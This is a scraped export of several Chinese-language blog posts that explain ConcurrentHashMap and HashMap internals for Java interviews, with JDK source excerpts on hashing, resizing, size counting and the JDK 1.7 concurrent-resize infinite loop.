ConcurrentHashMap线程安全，而HashMap非线程安全\nHashMap允许Key和Value为null，而ConcurrentHashMap不允许\nHashMap不允许通过Iterator遍历的同时通过HashMap修改，而ConcurrentHashMap允许该行为，并且该更新对后续的遍历可见\n以上说的比较笼统，我们具体看一下ConcurrentHashMap：\n先来看下ConcurrentHashMap的数据结构\n1.8之前的 ConcurrentHashMap是在1.7HashMap的基础上实现了线程安全的版本。采用分段锁的概念，使锁更加细化。它默认将Hash表分为16个分段，segments数组的长度最大为65536，最大容量 1 \u0026laquo; 30。\nJDK1.8 的实现已经摒弃了 Segment 的概念，而是直接用 Node 数组 + 链表 + 红黑树的数据结构来实现，并发控制使用 Synchronized 和 CAS 来操作，整个看起来就像是优化过且线程安全的 HashMap，虽然在 JDK1.8 中还能看到 Segment 的数据结构，但是已经简化了属性，只是为了兼容旧版本。\n二 concurrentHashMap最大容量？ 1/** 2 * The largest possible table capacity. This value must be 3 * exactly 1\u0026lt;\u0026lt;30 to stay within Java array allocation and indexing 4 * bounds for power of two table sizes, and is further required 5 * because the top two bits of 32bit hash fields are used for 6 * control purposes. 7 */ 8 private static final int MAXIMUM_CAPACITY = 1 \u0026lt;\u0026lt; 30; 9 10```java 11 12**注意这是** The largest possible table capacity，它是否代表最多能存储到map中的元素数量？答案是否定的。至于为什么，作为思考题，留给你。（关于这个问题在前一个系列关于HashMap的文章中也提到过相似的问题） 13 14提示 看一下size方法，为什么n要设计为long？实际元素数量和返回值一样吗？ 15 16```cs 17public int size() { 18 long n = sumCount(); 19 return ((n \u0026lt; 0L) ? 0 : 20 (n \u0026gt; (long)Integer.MAX_VALUE) ? Integer.MAX_VALUE : 21 (int)n); 22 } 三 ConcurrentHashMap 也会出现死循环？ 是的，当你不当地使用computeIfAbsent 方法时\n1/** 2 * If the specified key is not already associated with a value, 3 * attempts to compute its value using the given mapping function 4 * and enters it into this map unless {@code null}. The entire 5 * method invocation is performed atomically, so the function is 6 * applied at most once per key. Some attempted update operations 7 * on this map by other threads may be blocked while computation 8 * is in progress, so the computation should be short and simple, 9 * and must not attempt to update any other mappings of this map. 上面的computeIfAbsent 方法注释也得很清楚了，**应该绝对避免在computeIfAbsent中有递归，或者修改map的任何操作。所以如果你在调用此方法并有上述操作时就会出现死循环问题。**至于为什么会出现这种问题，有兴趣的可以读读其他资料或源代码，本文就不详述了。好在这个问题在java 1.9中已经基本修复了。\n（ https://bugs.openjdk.java.net/browse/JDK-8172951 ）\n问题如何规避？既然官方给出这么强烈的提示了，不作死就不会死。或者升级到JDK1.9\n四 ConcurrentHashMap 在 JDK 1.8 中，为什么要使用内置锁 synchronized 来代替重入锁 ReentrantLock？ 粒度降低了(看下图感觉下锁粒度的变化)\nJVM 开发团队没有放弃 synchronized，而且基于 JVM 的 synchronized 优化空间更大，更加自然。\n在大量的数据操作下，对于 JVM 的内存压力，基于 API 的 ReentrantLock 会开销更多的内存。\nJDK1.8的ConcurrentHashMap（TreeBin: 红黑二叉树节点\nNode: 链表节点）\n五 put() 方法流程？ 1final V putVal(K key, V value, boolean onlyIfAbsent) { 2 if (key == null || value == null) throw new NullPointerException(); 3 int hash = spread(key.hashCode()); 4 int binCount = 0; 5 for (Node\u0026lt;K,V\u0026gt;[] tab = table;;) { 6 Node\u0026lt;K,V\u0026gt; f; int n, i, fh; 7 if (tab == null || (n = tab.length) == 0) 8 tab = initTable(); 9 else if ((f = tabAt(tab, i = (n - 1) \u0026amp; hash)) == null) { 10 if (casTabAt(tab, i, null, 11 new Node\u0026lt;K,V\u0026gt;(hash, key, value, null))) 12 break; // no lock when adding to empty bin 13 } 14 else if ((fh = f.hash) == MOVED) 15 tab = helpTransfer(tab, f); 16 else { 17 V oldVal = null; 18 synchronized (f) { 19 if (tabAt(tab, i) == f) { 20 if (fh \u0026gt;= 0) { 21 binCount = 1; 22 for (Node\u0026lt;K,V\u0026gt; e = f;; ++binCount) { 23 K ek; 24 if (e.hash == hash \u0026amp;\u0026amp; 25 ((ek = e.key) == key || 26 (ek != null \u0026amp;\u0026amp; key.equals(ek)))) { 27 oldVal = e.val; 28 if (!onlyIfAbsent) 29 e.val = value; 30 break; 31 } 32 Node\u0026lt;K,V\u0026gt; pred = e; 33 if ((e = e.next) == null) { 34 pred.next = new Node\u0026lt;K,V\u0026gt;(hash, key, 35 value, null); 36 break; 37 } 38 } 39 } 40 else if (f instanceof TreeBin) { 41 Node\u0026lt;K,V\u0026gt; p; 42 binCount = 2; 43 if ((p = ((TreeBin\u0026lt;K,V\u0026gt;)f).putTreeVal(hash, key, 44 value)) != null) { 45 oldVal = p.val; 46 if (!onlyIfAbsent) 47 p.val = value; 48 } 49 } 50 } 51 } 52 if (binCount != 0) { 53 if (binCount \u0026gt;= TREEIFY_THRESHOLD) 54 treeifyBin(tab, i); 55 if (oldVal != null) 56 return oldVal; 57 break; 58 } 59 } 60 } 61 addCount(1L, binCount); 62 return null; 63 } 如果没有初始化，就调用 initTable() 方法来进行初始化；\n如果没有 hash 冲突就直接 CAS 无锁插入；\n如果需要扩容，就先进行扩容；\n如果存在 hash 冲突，就加锁来保证线程安全，两种情况：一种是链表形式就直接遍历到尾端插入，一种是红黑树就按照红黑树结构插入；\n如果该链表的数量大于阀值 8，就要先转换成红黑树的结构，break 再一次进入循环\n如果添加成功就调用 addCount() 方法统计 size，并且检查是否需要扩容。\n扩容方法 transfer()：默认容量为 16，扩容时，容量变为原来的两倍。\nhelpTransfer()：调用多个工作线程一起帮助进行扩容，这样的效率就会更高。\n六 ConcurrentHashMap 的并发度是什么？ 程序运行时能够同时更新 ConccurentHashMap 且不产生锁竞争的最大线程数。默认为 16，且可以在构造函数中设置。当用户设置并发度时，ConcurrentHashMap 会使用大于等于该值的最小2幂指数作为实际并发度（假如用户设置并发度为17，实际并发度则为32）\n七 ConcurrentHashMap的get方法是否要加锁，为什么？ 不需要。get没有加锁的话，ConcurrentHashMap是如何保证读到的数据不是脏数据的呢？\nget操作全程不需要加锁是因为Node的成员val是用volatile修饰的。\n八 ConcurrentHashMap 如何计算 size size()方法返回的是一个不精确的值\n我们先来看一下jdk1.8的代码注释：\n大致的意思是：返回容器的大小。这个方法应该被用来代替size()方法，因为 ConcurrentHashMap的容量大小可能会大于int的最大值。返回的值是一个估计值;如果有并发插入或者删除操作，则实际的数量可能有所不同。\n1/** 2 * Returns the number of mappings. This method should be used 3 * instead of {@link #size} because a ConcurrentHashMap may 4 * contain more mappings than can be represented as an int. The 5 * value returned is an estimate; the actual count may differ if 6 * there are concurrent insertions or removals. 7 *（大致的意思是：返回容器的大小。这个方法应该被用来代替size()方法，因为 8 * ConcurrentHashMap的容量大小可能会大于int的最大值。 9 * 返回的值是一个估计值;如果有并发插入或者删除操作，则实际的数量可能有所不同。） 10 * @return the number of mappings 11 * @since 1.8 12 */ 13 public long mappingCount() { 14 long n = sumCount(); 15 return (n \u0026lt; 0L) ? 0L : n; // ignore transient negative values 16 } 1.7中 Segment继承ReentrantLock，这样就很容易对每个Segment加锁了。类似于get或remove这些操作，都只需要在操作前对一个Segment加锁。但是有些操作需要跨段，比如size()、containsValue()和isEmpty()方法，因此为了保证并发效率，允许size返回的是一个近似值而不是精确值。\n1.7的 put、remove和get操作只需要关心一个Segment，而size操作需要遍历所有的Segment才能算出整个Map的大小。一个简单的方案是，先锁住所有Sgment，计算完后再解锁。但这样做，在做size操作时，不仅无法对Map进行写操作，同时也无法进行读操作，不利于对Map的并行操作。为更好支持并发操作，**ConcurrentHashMap会在不上锁的前提逐个Segment计算3次size，**如果某相邻两次计算获取的所有Segment的更新次数（每个Segment都与HashMap一样通过modCount跟踪自己的修改次数，Segment每修改一次其modCount加一）相等，说明这两次计算过程中无更新操作，则这两次计算出的总size相等，可直接作为最终结果返回。如果这三次计算过程中Map有更新，则对所有Segment加锁重新计算Size。\njdk 1.8 put方法和remove方法都会通过addCount方法维护Map的size。size方法通过sumCount获取由addCount方法维护的Map的size。\n1 final long sumCount() { 2 CounterCell[] as = counterCells; CounterCell a; 3 long sum = baseCount; 4 if (as != null) { 5 for (int i = 0; i \u0026lt; as.length; ++i) { 6 if ((a = as[i]) != null) 7 sum += a.value; 8 } 9 } 10 return sum; 11 } 12 13 private final void addCount(long x, int check) { 14 CounterCell[] as; long b, s; 15 if ((as = counterCells) != null || 16 !U.compareAndSwapLong(this, BASECOUNT, b = baseCount, s = b + x)) { 17 CounterCell a; long v; int m; 18 boolean uncontended = true; 19 if (as == null || (m = as.length - 1) \u0026lt; 0 || 20 (a = as[ThreadLocalRandom.getProbe() \u0026amp; m]) == null || 21 !(uncontended = 22 U.compareAndSwapLong(a, CELLVALUE, v = a.value, v + x))) { 23 fullAddCount(x, uncontended); 24 return; 25 } 26 if (check \u0026lt;= 1) 27 return; 28 s = sumCount(); 29 } 注意两个属性 ：baseCount 和 counterCells。\nbaseCount 一个 volatile 的变量，在 addCount 方法中会使用它，而 addCount 方法在 put 结束后会调用。在 addCount 方法中，会对这个变量做 CAS 加法。\ncounterCells 一种用于分配计数的填充单元。改编自LongAdder和Striped64\n总结 JDK1.7 和 JDK1.8 对 size 的计算是不一样的。1.7 中是先不加锁计算三次，如果三次结果不一样在加锁\nJDK1.8 size 是通过对 baseCount 和 counterCell 进行 CAS 计算，最终通过 baseCount 和 遍历 CounterCell 数组得出 size。\nJDK 8 推荐使用mappingCount 方法，因为这个方法的返回值是 long 类型，不会因为 size 方法是 int 类型限制最大值。\n九 用了ConcurrentHashMap 就一定是线程安全的吗？ 不一定，ConcurrenetHashMap 只能保证提供的原子性读写操作是线程安全的，换句话说，如果你的读写操作不是原子性的，那么无法保证绝对的线程安全。如果你希望在一整段业务逻辑中，对容器的操作都保持整体一致性的话，需要另外加锁处理。\nConcurrentHashMap 对外提供的方法或能力的限制：\n使用了 ConcurrentHashMap，不代表对它的多个操作之间的状态是一致的，是没有其他线程在操作它的，如果需要确保需要手动加锁。\n诸如 size、isEmpty 和 containsValue 等聚合方法，在并发情况下可能会反映 ConcurrentHashMap 的中间状态。因此在并发情况下，这些方法的返回值只能用作参考，而不能用于流程控制。\n诸如 putAll 这样的聚合方法也不能确保原子性，在 putAll 的过程中去获取数据可能会获取到部分数据。\n关注公众号 获取更多精彩内容\n","date":"2020-03-28T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-28-jing-dian-mian-shi-ti-zhi-concurrenthashmap/cover.jpg","permalink":"/p/2020-03-28-jing-dian-mian-shi-ti-zhi-concurrenthashmap/","title":"经典面试题之ConcurrentHashMap"},{"content":"\n本文是hashMap系列的最后一篇文章，如果您觉得写得还不错的话，请关注本公众号\n接上文\n经典面试题之HashMap(一)\n经典面试题之HashMap(二)\n六 HashMap是如何解决hash冲突的 解决哈希冲突的方法一般有：开放定址法、链地址法（拉链法）、再哈希法、建立公共溢出区等方法。\nHashMap是用拉链法解决的Hash冲突问题。HashMap的数据结构 ，前两篇文章有介绍过，jdk1.7 是数组+链表的结构 ，jdk1.8是数组+链表+红黑树。正是为了解决Hash冲突以及平衡查询、插入等操作的效率HashMap的作者才将HashMap设计成这种数据结构\n我们来具体看一下put方法的源码(jdk1.8)，通过这个过程了解下如何解决冲突\n1/** 2 * Implements Map.put and related methods. 3 * 4 * @param hash hash for key 5 * @param key the key 6 * @param value the value to put 7 * @param onlyIfAbsent if true, don\u0026#39;t change existing value 8 * @param evict if false, the table is in creation mode. 9 * @return previous value, or null if none 10 */ 11 final V putVal(int hash, K key, V value, boolean onlyIfAbsent, 12 boolean evict) { 13 14 Node\u0026lt;K,V\u0026gt;[] tab; Node\u0026lt;K,V\u0026gt; p; int n, i; 15 16 //tab为空则创建 17 if ((tab = table) == null || (n = tab.length) == 0) 18 n = (tab = resize()).length; 19 //计算index，并对null做处理 20 if ((p = tab[i = (n - 1) \u0026amp; hash]) == null) 21 tab[i] = newNode(hash, key, value, null); 22 else { 23 Node\u0026lt;K,V\u0026gt; e; K k; 24 //节点key存在，直接覆盖value 25 if (p.hash == hash \u0026amp;\u0026amp; 26 ((k = p.key) == key || (key != null \u0026amp;\u0026amp; key.equals(k)))) 27 e = p; 28 //判断该链为红黑树 29 else if (p instanceof TreeNode) 30 e = ((TreeNode\u0026lt;K,V\u0026gt;)p).putTreeVal(this, tab, hash, key, value); 31 else { 32 //该链为链表 33 for (int binCount = 0; ; ++binCount) { 34 if ((e = p.next) == null) { 35 p.next = newNode(hash, key, value, null); 36 //链表长度大于8转换为红黑树进行处理 37 if (binCount \u0026gt;= TREEIFY_THRESHOLD - 1) // -1 for 1st 38 treeifyBin(tab, hash); 39 break; 40 } 41 //key已经存在直接覆盖value 42 if (e.hash == hash \u0026amp;\u0026amp; 43 ((k = e.key) == key || (key != null \u0026amp;\u0026amp; key.equals(k)))) 44 break; 45 p = e; 46 } 47 } 48 if (e != null) { // existing mapping for key 49 V oldValue = e.value; 50 if (!onlyIfAbsent || oldValue == null) 51 e.value = value; 52 afterNodeAccess(e); 53 return oldValue; 54 } 55 } 56 ++modCount; 57 //超过最大容量 就扩容 58 if (++size \u0026gt; threshold) 59 resize(); 60 afterNodeInsertion(evict); 61 return null; 62 } HashMap的put方法执行过程可以通过下图来理解\n通过上图和源码注释，我们了解了put方法的执行过程，其中在这一行：\n1if ((p = tab[i = (n - 1) \u0026amp; hash]) == null) 计算 index，并对 null 做处理，如果不为 null ,则表明 tab 的这个 i 位置上已经有数据了，hash冲突就发生在了这里。从这里的else条件开始就是hashMap解决hash冲突的过程。也就是所谓的“拉链法”。\n这里有几个需要注意的点：\nHashMap采用的链表法的方式，链表是单向链表\n当发生hash冲突，hashMap的桶中形成链表的时候，新的元素插入到该链表的时候，jdk1.7使用的是“头插法” 即新元素在链表头，而jdk1.8使用的“尾插法” 即新元素在链表尾。\n在多线程使用场景中，应该尽量避免使用线程不安全的HashMap，而使用线程安全的ConcurrentHashMap\n思考题：jdk1.8为什么改头插法为尾插法？\n关于上面第三点，其中有个著名的例子，就是在多线程环境下使用HashMap可能产生环链（死循环）问题，当然是在jdk1.7版本，jdk1.8由于使用了“尾插法”就避免了这个问题。在使用jdk1.7的情况下，是put过程中的resize方法在调用transfer方法的时候导致的环链。\n我们举例说明一下：\n1public class HashMapInfiniteLoop { 2 3 private static HashMap\u0026lt;Integer,String\u0026gt; map = new HashMap\u0026lt;Integer,String\u0026gt;(2，0.75f); 4 public static void main(String[] args) { 5 map.put(5， \u0026#34;C\u0026#34;); 6 7 new Thread(\u0026#34;Thread1\u0026#34;) { 8 public void run() { 9 map.put(7, \u0026#34;B\u0026#34;); 10 System.out.println(map); 11 }; 12 }.start(); 13 new Thread(\u0026#34;Thread2\u0026#34;) { 14 public void run() { 15 map.put(3, \u0026#34;A); 16 System.out.println(map); 17 }; 18 }.start(); 19 } 20} 其中，map初始化为一个长度为2的数组，loadFactor=0.75，threshold=2*0.75=1，也就是说当put第二个key的时候，map就需要进行resize。下面代码是jdk1.7的\n1void resize(int newCapacity) { //传入新的容量 2 Entry[] oldTable = table; //引用扩容前的Entry数组 3 int oldCapacity = oldTable.length; 4 if (oldCapacity == MAXIMUM_CAPACITY) { //扩容前的数组大小如果已经达到最大(2^30)了 5 threshold = Integer.MAX_VALUE; //修改阈值为int的最大值(2^31-1)，这样以后就不会扩容了 6 return; 7 } 8 9 Entry[] newTable = new Entry[newCapacity]; //初始化一个新的Entry数组 10 transfer(newTable); //！！将数据转移到新的Entry数组里 11 table = newTable; //HashMap的table属性引用新的Entry数组 12 threshold = (int)(newCapacity * loadFactor);//修改阈值 13} 14 15 void transfer(Entry[] newTable) { 16 Entry[] src = table; //src引用了旧的Entry数组 17 int newCapacity = newTable.length; 18 for (int j = 0; j \u0026lt; src.length; j++) { //遍历旧的Entry数组 19 Entry\u0026lt;K,V\u0026gt; e = src[j]; //取得旧Entry数组的每个元素 20 if (e != null) { 21 src[j] = null;//释放旧Entry数组的对象引用（for循环后，旧的Entry数组不再引用任何对象） 22 do { 23 Entry\u0026lt;K,V\u0026gt; next = e.next; 24 int i = indexFor(e.hash, newCapacity); //！！重新计算每个元素在数组中的位置 25 e.next = newTable[i]; //标记[1] 26 newTable[i] = e; //将元素放在数组上 27 e = next; //访问下一个Entry链上的元素 28 } while (e != null); 29 } 30 } 31 通过设置断点让线程1和线程2同时debug到transfer方法的首行。注意此时两个线程已经成功添加数据。放开thread1的断点至transfer方法的“Entry next = e.next;” 这一行；然后放开线程2的断点，让线程2进行完resize。结果如下图。\n注意，Thread1的 e 指向了key(3)，而next指向了key(7)，其在线程二 rehash 后，指向了线程二重组后的链表。\n线程一被调度回来执行，先是执行 newTalbe[i] = e， 然后是e = next，导致了e指向了key(7)，而下一次循环的next = e.next导致了next指向了key(3)。\ne.next = newTable[i] 导致 key(3).next 指向了 key(7)。注意：此时的key(7).next 已经指向了key(3)， 环形链表就这样出现了。\n于是，当我们用线程一调用map.get(11)时，悲剧就出现了——Infinite Loop。\nHashMap 有并发问题，并不单单指环链问题，而是在数据结构的设计上就没有考虑并发环境。HashMap 的设计目标是简洁高效，没有采取任何措施保证 put、remove 操作的多线程安全。put 方法的操作对象要么是整个散列表，要么是某个哈希桶里的链表或红黑树，而这些过程都没有采取措施保证多线程安全。在这个复杂的逻辑过程中，任何一个线程在这个过程中改动了散列表的结构，都有可能造成另一个线程的操作失败。\njava有一条深入人心的规则：“重写equals()时，必须重写hashCode()”, 那么这是为什么呢？我们从hashMap的源码中也能看出些原因\n1 if (p.hash == hash \u0026amp;\u0026amp; ((k = p.key) == key || (key != null \u0026amp;\u0026amp; key.equals(k)))) 2 e = p; 上面这段比较简单就不解释了，试想如果你的对象没有正确重写这两个方法，那么装在容器中一定会有问题。\n参考 ：\nhttps://coolshell.cn/articles/9606.html/comment-page-1#comments\nhttps://tech.meituan.com/2016/06/24/java-hashmap.html\n关注公众号 获取更多精彩内容\n","date":"2020-03-27T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-27-yi-ci-xing-gao-ding-hashmap-mian-shi/cover.jpg","permalink":"/p/2020-03-27-yi-ci-xing-gao-ding-hashmap-mian-shi/","title":"一次性搞定HashMap面试"},{"content":"\n接上文 经典面试题之HashMap(一)\n三 不考虑内存限制，HashMap可以无限存储数据吗？ 不可以，HashMap是有最大容量上限的。我们还是来看下源码注释：\n1/** 2 * The maximum capacity, used if a higher value is implicitly specified 3 * by either of the constructors with arguments. 4 * MUST be a power of two \u0026lt;= 1\u0026lt;\u0026lt;30. 5 */ 6 static final int MAXIMUM_CAPACITY = 1 \u0026lt;\u0026lt; 30; 很明显，如果构造函数传入的值大于MAXIMUM_CAPACITY ，那么替换成该数 MAXIMUM_CAPACITY 是 1 \u0026laquo; 30 即 2的30次方。\n为什么是1 \u0026laquo; 30？ 1 \u0026laquo;31 不行吗？\n注意看这个值是int 类型的。我们知道int 的极限最大值 Integer.MAX_VALUE 是2的31次方减1，即2147483647，如果 1 \u0026laquo; 30 改为 1 \u0026laquo; 31 ，由于int是有符号数，这个值将为 -2147483648，而且hashMap的容量都是2的整数次幂，也就只能是2的30次方了。然而这并不是HashMap的最大容量。\n来看下HashMap的构造函数\n1 public HashMap(int initialCapacity, float loadFactor) { 2 if (initialCapacity \u0026lt; 0) 3 throw new IllegalArgumentException(\u0026#34;Illegal initial capacity: \u0026#34; + 4 initialCapacity); 5 if (initialCapacity \u0026gt; MAXIMUM_CAPACITY) 6 initialCapacity = MAXIMUM_CAPACITY; 7 if (loadFactor \u0026lt;= 0 || Float.isNaN(loadFactor)) 8 throw new IllegalArgumentException(\u0026#34;Illegal load factor: \u0026#34; + 9 loadFactor); 10 this.loadFactor = loadFactor; 11 this.threshold = tableSizeFor(initialCapacity); 12 } 上面代码中有一句\n1if (initialCapacity \u0026gt; MAXIMUM_CAPACITY) 2initialCapacity = MAXIMUM_CAPACITY; 如果我要存的数目大于 MAXIMUM_CAPACITY，你还把我的容量缩小成 MAXIMUM_CAPACITY？其实不是的，在resize()方法中有一句\n1 if (oldCap \u0026gt;= MAXIMUM_CAPACITY) { 2 threshold = Integer.MAX_VALUE; 3 return oldTab; 4 } 在这里我们可以看到其实 hashmap的“最大容量“是Integer.MAX_VALUE**;**\nthreshold=capacity*loadFactor threshold 表示当HashMap的size大于threshold时会执行resize操作。size就是HashMap中实际存在的键值对数量。\n思考题：如果到达了HashMap的容量上限，再继续添加元素，会怎样？\n其实你可以计算一下，当HashMap到达容量上限后占用的内存大小，已经很大了，所以一般情况下是内存溢出，我们在日常使用时，一般情况下不会把那么大的数据全部放到一个HashMap中。然而如果不考虑内存溢出的情况，就是你有一个超大的内存，那这个时候会怎样？\n四 如何确定哈希桶数组索引位置？ 我们首先想到的就是把hash值对数组长度取模运算，这样一来，元素的分布相对来说是比较均匀的。但是，模运算的消耗还是比较大的，在HashMap中是这样做的：调用下面的代码来计算该对象应该保存在table数组的哪个索引处。\n1static int indexFor(int h, int length) { 2 //jdk1.7的源码，jdk1.8没有这个方法，但是实现原理一样的 3 return h \u0026amp; (length-1); //第三步 取模运算 4} 这个方法非常巧妙，它通过h \u0026amp; (table.length -1)来得到该对象的保存位，而HashMap底层数组的长度总是2的n次方，这是HashMap在速度上的优化。当length总是2的n次方时，h\u0026amp; (length-1)运算等价于对length取模，也就是h%length，但是\u0026amp;比%具有更高的效率。\n注意 h\u0026amp; (length-1) 当且仅当length(即capacity)是2的整倍数****的时候才等于 h % length ,从这个角度也说明了capacity为什么一定要****用2的整次幂。\n数组长度-1 正好相当于一个“低位掩码”。“与”操作的结果就是散列值的高位全部归零，只保留低位值，用来做数组下标访问。以初始长度16为例，16-1=15。2进制表示是00000000 00000000 00001111。和某散列值做“与”操作如下，结果就是截取了最低的四位值。\n五 了解HashMap的hash函数吗？ 我们先来说说hash算法的一般实现：\n大数变小数\u0026ndash;\u0026gt;取模\n让结果的规律性不明显\u0026ndash;\u0026gt; 异或、改变原始数据、移位\n碰撞是存在的，主要是看解决碰撞的方案\njava中常用的hashCode算法\nObject类的hashCode。返回对象的经过处理后的内存地址。由于每个对象的内存地址都不一样，所以哈希码也不一样，这是个native方法。取决于JVM的内部设计，一般是某种C地址的偏移。\nString 类的hashCode,根据String类包含的字符串的内容，根据一种特殊的算法返回哈希码，只要字符串的内容相同，返回的哈希码也相同。\nInteger 等包装类，返回的哈希码就是Integer对象里所包含的那个整数的值，例如 Integer i1 = new Integer(100), i1.hashCode() 的值就是 100。由此可见，两个一样大小的Integer对象，返回的哈希码也一样。\nint、char这样的基础类，它们不需要hashCode,如果需要存储时，将进行自动装箱操作，计算方法同上。\n我们来看下HashMap中的hash算法是如何实现的：\n1 static final int hash(Object key) { 2 int h; 3 return (key == null) ? 0 : (h = key.hashCode()) ^ (h \u0026gt;\u0026gt;\u0026gt; 16); 4 } hash(Object key)的作用就是重新计算hash值。\nHashMap中为什么不直接用key.hashCode()获取哈希值，而是使用(h = key.hashCode()) ^ (h \u0026raquo;\u0026gt; 16)？\n我们通过上文了解了HashMap如何计算出数组索引位置，但其实有一个问题，就是即使我的散列值分布再松散，要是只取最后几位的话，碰撞也会很严重。更要命的是如果散列本身做得不好，分布上成等差数列的漏洞，恰好使最后几个低位呈现规律性重复，就无比蛋疼。\n这时候“扰动函数”的价值就体现出来了\n**右位移16位，正好是32bit的一半，自己的高半区和低半区做异或，就是为了混合原始哈希码的高位和低位，以此来加大低位的随机性。**而且混合后的低位掺杂了高位的部分特征，这样高位的信息也被变相保留下来。这么做可以在数组table的length比较小的时候，也能保证考虑到高低Bit都参与到Hash的计算中，同时不会有太大的开销。（JDK 7做了4次右移，估计是边际效应的原因，JDK8就只做了一次右移）\n总结 ：(h = key.hashCode()) ^ (h \u0026raquo;\u0026gt; 16)这样写有点类似重写了hashCode，确保得出的数足够的随机，因为进行hash计算的时候 确保它的数足够的分散，以便于计算数组下标的时候存放的值足够分散。\n关注公众号 获取更多精彩内容\n","date":"2020-03-27T02:17:46Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-27-jing-dian-mian-shi-ti-zhi-hashmap-er/cover.jpg","permalink":"/p/2020-03-27-jing-dian-mian-shi-ti-zhi-hashmap-er/","title":"经典面试题之HashMap(二)"},{"content":" 一 HashMap的loadFactor为什么是0.75？ 先说一下什么是loadFactor ：\nloadFactor即装载因子，装载因子的计算公式是：散列表的装载因子 = 填入表中的元素个数 / 散列表长度，如果有人问你0.75的分子分母是什么，依据这个公式回答就可以了。一般情况下，我们会尽可能保证散列表中有一定比例的空闲槽位。我们用装载因子来表示空位的多少。\n装载因子越大，说明空闲位置越少，冲突越多，散列表的性能会下降。所以如果装载因子是1，显然不合适。\n**那如果是0.5呢？**如果是0.5 ， 那么每次达到容量的一半就进行扩容，默认容量是16， 达到8就扩容成32，达到16就扩容成64， 最终使用空间和未使用空间的差值会逐渐增加，空间利用率低下，也不合适。\n那为什么是0.75？\n我们来看看源码注释\n1 * Because TreeNodes are about twice the size of regular nodes, we 2 * use them only when bins contain enough nodes to warrant use 3 * (see TREEIFY_THRESHOLD). And when they become too small (due to 4 * removal or resizing) they are converted back to plain bins. In 5 * usages with well-distributed user hashCodes, tree bins are 6 * rarely used. Ideally, under random hashCodes, the frequency of 7 * nodes in bins follows a Poisson distribution 8 * (http://en.wikipedia.org/wiki/Poisson_distribution) with a 9 * parameter of about 0.5 on average for the default resizing 10 * threshold of 0.75, although with a large variance because of 11 * resizing granularity. Ignoring variance, the expected 12 * occurrences of list size k are (exp(-0.5) * pow(0.5, k) / 13 * factorial(k)). The first values are: 14 * 15 * 0: 0.60653066 16 * 1: 0.30326533 17 * 2: 0.07581633 18 * 3: 0.01263606 19 * 4: 0.00157952 20 * 5: 0.00015795 21 * 6: 0.00001316 22 * 7: 0.00000094 23 * 8: 0.00000006 24 * more: less than 1 in ten million 25 26```html 27 28你可能看过注释或听说过泊松分布，如果不知道的，可以看这里（http://www.ruanyifeng.com/blog/2015/06/poisson-distribution.html#comment-356111）简单学习一下。不过上面这段注释**没有解释load factory默认值是0.75的原因**，而是说load factor的值会影响泊松分布PMF函数公式中的参数λ的值。例如load factor=0.75f时λ=0.5。按照泊松分布公式来看，期望放入bin中数据的数量k=8，e是一个无理常数，λ的值受load factor的值的影响。 29 30![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-26-jing-dian-mian-shi-ti-zhi-hashmap-yi/002-ae9c6ff2.png) 31 32**DEFAULT\\_LOAD\\_FACTOR =0.75f的真正原因是什么？** 33 34我们还是回到源码注释中，来看这一段： 35 36```kotlin 37* \u0026lt;p\u0026gt;As a general rule, the default load factor (.75) offers a good 38 * tradeoff between time and space costs. Higher values decrease the 39 * space overhead but increase the lookup cost (reflected in most of 40 * the operations of the \u0026lt;tt\u0026gt;HashMap\u0026lt;/tt\u0026gt; class, including 41 * \u0026lt;tt\u0026gt;get\u0026lt;/tt\u0026gt; and \u0026lt;tt\u0026gt;put\u0026lt;/tt\u0026gt;). The expected number of entries in 42 * the map and its load factor should be taken into account when 43 * setting its initial capacity, so as to minimize the number of 44 * rehash operations. If the initial capacity is greater than the 45 * maximum number of entries divided by the load factor, no rehash 46 * operations will ever occur. 简单翻译下：\n通常，默认负载因子（.75）在时间和空间成本之间提供了一个很好的权衡。较高的值会减少空间开销，但会增加查找成本（在HashMap类的大多数操作中都得到体现，包括get和put）。设置其初始容量时，应考虑映射中的预期条目数及其负载因子，以最大程度地减少重新哈希操作的数量。如果初始容量大于最大条目数除以负载因子，则不会发生任何哈希操作。\n所以，0.75只是一个折中的选择，和泊松分布没有什么关系\n再有，根据HashMap的扩容机制 capacity 是2的幂，我们用 loadFactor * capacity 的结果就正好是一个整数，所以从这个角度来说0.75也是比较合适的。\n二 HashMap的数据结构是什么？ jdk1.7 是数组+链表的结构 ，jdk1.8是数组+链表+红黑树\n如图所示，为1.7版本的\n下图为1.8版本的：\n在jdk1.8之后，HashMap初始化的时候也是线性表+链表，只是当链表的长度超过一定数量之后，会把链表转换成红黑树****来增加代码运行时的性能。在源码中用TREEIFY_THRESHOLD这个参数来指定这个数量。\nTREEIFY_THRESHOLD的值为8。\n1/** 2 * The bin count threshold for using a tree rather than list for a 3 * bin. Bins are converted to trees when adding an element to a 4 * bin with at least this many nodes. The value must be greater 5 * than 2 and should be at least 8 to mesh with assumptions in 6 * tree removal about conversion back to plain bins upon 7 * shrinkage. 8 */ 9 static final int TREEIFY_THRESHOLD = 8; 10/** 11 * The bin count threshold for untreeifying a (split) bin during a 12 * resize operation. Should be less than TREEIFY_THRESHOLD, and at 13 * most 6 to mesh with shrinkage detection under removal. 14 */ 15 static final int UNTREEIFY_THRESHOLD = 6; 我们注意到上面源码注释中还有一个值 UNTREEIFY_THRESHOLD，它是一个红黑树到链表的还原阈值，当扩容时，桶中元素个数小于这个值，就会把树形的桶元素 还原（切分）为链表结构。把时间复杂度从O（n）变成O（logN）提高了效率）\n那么，为什么是8和6这两个数字？\n如果选择6和8（如果链表小于等于6树还原转为链表，大于等于8转为树），中间有个差值7可以有效防止链表和树频繁转换。假设一下，如果设计成链表个数超过8则链表转换成树结构，链表个数小于8则树结构转换成链表，如果一个HashMap不停的插入、删除元素，链表个数在8左右徘徊，就会频繁的发生树转链表、链表转树，效率会很低。\n那8是怎么来的？\n还记得上文说的泊松分布吗？我们把源码注释再拿来看一看\n1* Because TreeNodes are about twice the size of regular nodes, we 2 * use them only when bins contain enough nodes to warrant use 3 * (see TREEIFY_THRESHOLD). And when they become too small (due to 4 * removal or resizing) they are converted back to plain bins. In 5 * usages with well-distributed user hashCodes, tree bins are 6 * rarely used. Ideally, under random hashCodes, the frequency of 7 * nodes in bins follows a Poisson distribution 8 * (http://en.wikipedia.org/wiki/Poisson_distribution) with a 9 